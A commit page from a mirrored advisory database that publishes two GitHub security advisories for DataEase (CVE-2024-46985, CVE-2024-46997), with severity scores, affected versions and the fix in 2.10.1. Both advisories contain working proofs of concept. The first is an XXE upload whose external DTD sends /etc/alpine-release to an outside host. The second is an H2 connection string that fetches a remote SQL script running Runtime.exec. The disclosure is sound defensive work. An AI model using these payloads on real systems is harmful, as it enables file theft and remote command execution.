mirror of
https://github.com/netbirdio/advisory-database.git
synced 2026-05-22 18:04:22 -07:00
Publish Advisories
GHSA-4m9p-7xg6-f4mm GHSA-h7mj-m72h-qm8w
This commit is contained in:
advisory-database[bot]
@@ -0,0 +1,68 @@
|
||||
{
|
||||
"schema_version": "1.4.0",
|
||||
"id": "GHSA-4m9p-7xg6-f4mm",
|
||||
"modified": "2024-09-23T20:27:22Z",
|
||||
"published": "2024-09-23T20:27:22Z",
|
||||
"aliases": [
|
||||
"CVE-2024-46985"
|
||||
],
|
||||
"summary": "DataEase has an XML External Entity Reference vulnerability",
|
||||
"details": "### Impact\nThere is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading.\n\n1. send request:\n```\nPOST /de2api/staticResource/upload/1 HTTP/1.1\nHost: dataease.ubuntu20.vm\nContent-Length: 348\nAccept: application/json, text/plain, */*\nout_auth_platform: default\nX-DE-TOKEN: jwt\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary6OZBNygiUCAZEbMn\n\n------WebKitFormBoundary6OZBNygiUCAZEbMn\nContent-Disposition: form-data; name=\"file\"; filename=\"1.svg\"\nContent-Type: a\n\n<?xml version='1.0'?>\n <!DOCTYPE xxe [\n <!ENTITY % EvilDTD SYSTEM 'http://10.168.174.1:8000/1.dtd'>\n %EvilDTD;\n %LoadOOBEnt;\n %OOB;\n ]>\n------WebKitFormBoundary6OZBNygiUCAZEbMn--\n\n// 1.dtd的内容\n<!ENTITY % resource SYSTEM \"file:///etc/alpine-release\">\n <!ENTITY % LoadOOBEnt \"<!ENTITY % OOB SYSTEM 'http://10.168.174.1:8000/?content=%resource;'>\">\n```\n\n2. After sending the request, the content of the file /etc/alpine-release is successfully read\n```\n::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] \"GET /1.dtd HTTP/1.1\" 200 -\n::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] \"GET /?content=3.20.0 HTTP/1.1\" 200 -\n```\n\nAffected versions: <= 2.10.0\n\n### Patches\nThe vulnerability has been fixed in v2.10.1.\n\n### Workarounds\nIt is recommended to upgrade the version to v2.10.1.\n\n### References\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/dataease/dataease\nEmail us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)\n",
|
||||
"severity": [
|
||||
{
|
||||
"type": "CVSS_V3",
|
||||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
|
||||
},
|
||||
{
|
||||
"type": "CVSS_V4",
|
||||
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
|
||||
}
|
||||
],
|
||||
"affected": [
|
||||
{
|
||||
"package": {
|
||||
"ecosystem": "Maven",
|
||||
"name": "io.dataease:common"
|
||||
},
|
||||
"ranges": [
|
||||
{
|
||||
"type": "ECOSYSTEM",
|
||||
"events": [
|
||||
{
|
||||
"introduced": "0"
|
||||
},
|
||||
{
|
||||
"fixed": "2.10.1"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"database_specific": {
|
||||
"last_known_affected_version_range": "<= 2.10.0"
|
||||
}
|
||||
}
|
||||
],
|
||||
"references": [
|
||||
{
|
||||
"type": "WEB",
|
||||
"url": "https://github.com/dataease/dataease/security/advisories/GHSA-4m9p-7xg6-f4mm"
|
||||
},
|
||||
{
|
||||
"type": "ADVISORY",
|
||||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46985"
|
||||
},
|
||||
{
|
||||
"type": "PACKAGE",
|
||||
"url": "https://github.com/dataease/dataease"
|
||||
}
|
||||
],
|
||||
"database_specific": {
|
||||
"cwe_ids": [
|
||||
"CWE-611"
|
||||
],
|
||||
"severity": "HIGH",
|
||||
"github_reviewed": true,
|
||||
"github_reviewed_at": "2024-09-23T20:27:22Z",
|
||||
"nvd_published_at": "2024-09-23T16:15:06Z"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
{
|
||||
"schema_version": "1.4.0",
|
||||
"id": "GHSA-h7mj-m72h-qm8w",
|
||||
"modified": "2024-09-23T20:27:11Z",
|
||||
"published": "2024-09-23T20:27:11Z",
|
||||
"aliases": [
|
||||
"CVE-2024-46997"
|
||||
],
|
||||
"summary": "DataEase's H2 datasource has a remote command execution risk",
|
||||
"details": "### Impact\nAn attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.\n\nrequest message:\n```\nPOST /de2api/datasource/validate HTTP/1.1\nHost: dataease.ubuntu20.vm\nUser-Agent: python-requests/2.31.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nX-DE-TOKEN: jwt\nContent-Length: 209\nContent-Type: application/json\n\n{\n \"id\": \"\",\n \"name\": \"test\",\n \"type\": \"h2\",\n \"configuration\": \"eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==\"\n}\n```\n\nh2 data source connection string:\n```\n// configuration\n{\n \"jdbc\": \"jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);\",\n}\n```\n\nthe content of poc.sql:\n```\n// poc.sql\nCREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return \"su18\";}';CALL EXEC ('touch /tmp/jdbch2rce')\n```\n\nYou can see that the file was created successfully in docker:\n```\n/tmp # ls -l jdbch2rce \n-rw-r--r-- 1 root root 0 Sep 16 22:02 jdbch2rce\n```\nAffected versions: <= 2.10.0\n\n### Patches\nThe vulnerability has been fixed in v2.10.1.\n\n### Workarounds\nIt is recommended to upgrade the version to v2.10.1.\n\n### References\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/dataease/dataease\nEmail us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)\n",
|
||||
"severity": [
|
||||
{
|
||||
"type": "CVSS_V3",
|
||||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
|
||||
},
|
||||
{
|
||||
"type": "CVSS_V4",
|
||||
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
|
||||
}
|
||||
],
|
||||
"affected": [
|
||||
{
|
||||
"package": {
|
||||
"ecosystem": "Maven",
|
||||
"name": "io.dataease:common"
|
||||
},
|
||||
"ranges": [
|
||||
{
|
||||
"type": "ECOSYSTEM",
|
||||
"events": [
|
||||
{
|
||||
"introduced": "0"
|
||||
},
|
||||
{
|
||||
"fixed": "2.10.1"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"database_specific": {
|
||||
"last_known_affected_version_range": "<= 2.10.0"
|
||||
}
|
||||
}
|
||||
],
|
||||
"references": [
|
||||
{
|
||||
"type": "WEB",
|
||||
"url": "https://github.com/dataease/dataease/security/advisories/GHSA-h7mj-m72h-qm8w"
|
||||
},
|
||||
{
|
||||
"type": "ADVISORY",
|
||||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46997"
|
||||
},
|
||||
{
|
||||
"type": "PACKAGE",
|
||||
"url": "https://github.com/dataease/dataease"
|
||||
}
|
||||
],
|
||||
"database_specific": {
|
||||
"cwe_ids": [
|
||||
"CWE-74"
|
||||
],
|
||||
"severity": "CRITICAL",
|
||||
"github_reviewed": true,
|
||||
"github_reviewed_at": "2024-09-23T20:27:11Z",
|
||||
"nvd_published_at": "2024-09-23T16:15:06Z"
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user